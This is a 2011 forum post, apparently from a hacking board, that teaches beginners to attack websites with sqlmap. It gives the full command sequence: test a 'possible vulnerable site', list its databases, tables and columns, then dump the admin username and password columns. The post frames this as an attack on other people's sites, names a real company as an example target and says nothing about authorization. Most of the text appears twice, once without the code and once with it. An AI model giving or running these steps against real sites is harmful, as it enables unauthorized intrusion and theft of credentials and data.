Sep 18, 2011 04:54 PM
(This post was last modified: Jan 6, 2012 08:43 PM by Retribute.)
Hey guys,
So today I will be teaching you guys on how to SQL inject via SQLmap. This is also my first tutorial so it may not be the best.
--
Alright, so lets begin learning.
I recommend you use this on a Linux distro because I'm not quite sure whether or not this works on Windows. Personally, I'm on Ubuntu.
Alright, so now you obviously need SQLmap which can be downloaded from here
You also need python installed which you can get by doing
After you've downloaded it, go to the directory where it's saved.
In my case:
Once you're in that directory, we must find a possible vulnerable site.
Now that you have one, we are going to test it with the following code:
Change "TARGETSITE" to the URL of your site.
After you find out it's vulnerable, do:
This will display all the database names. You'll see "information_schema" among the database names; just ignore that and choose another one. The database name is usually in reference or has similar wording as the site. For example, if I was attacking Pizzahut, a possible database name could be pizzahut_pizzahut.
Now once you've found the database name, you'd need to view the tables, so do:
This will display all the tables of the database. Now your job is to figure out which contains the information you want, such as the admin pass/user.
So once you've found the tables, for example, containing the Admin information, do:
With that, you've received all the columns. Now you want to see the information in that column, so type in:
And there we have it, we have gotten all the info 🤗
Please comment or PM me if you have questions. I'd be happy to assist you.
So today I will be teaching you guys on how to SQL inject via SQLmap. This is also my first tutorial so it may not be the best.
--
Alright, so lets begin learning.
I recommend you use this on a Linux distro because I'm not quite sure whether or not this works on Windows. Personally, I'm on Ubuntu.
Alright, so now you obviously need SQLmap which can be downloaded from here
You also need python installed which you can get by doing
Code
sudo apt-get install pythonAfter you've downloaded it, go to the directory where it's saved.
In my case:
Code
cd Downloads/sqlmapOnce you're in that directory, we must find a possible vulnerable site.
Now that you have one, we are going to test it with the following code:
Code
python sqlmap.py -u TARGETSITEAfter you find out it's vulnerable, do:
Code
python sqlmap.py -u TARGETSITE --dbsThis will display all the database names. You'll see "information_schema" among the database names; just ignore that and choose another one. The database name is usually in reference or has similar wording as the site. For example, if I was attacking Pizzahut, a possible database name could be pizzahut_pizzahut.
Now once you've found the database name, you'd need to view the tables, so do:
Code
python sqlmap.py -u TARGETSITE -D site_db --tablesThis will display all the tables of the database. Now your job is to figure out which contains the information you want, such as the admin pass/user.
So once you've found the tables, for example, containing the Admin information, do:
Code
python sqlmap.py -u TARGETSITE -D database_name -T admintable --columnsWith that, you've received all the columns. Now you want to see the information in that column, so type in:
Code
python sqlmap.py -u TARGETSITE -D database_name -T admintable -C columnname --dumpAnd there we have it, we have gotten all the info 🤗
Please comment or PM me if you have questions. I'd be happy to assist you.
![[Image: npafFhp.gif]](https://i.imgur.com/npafFhp.gif)



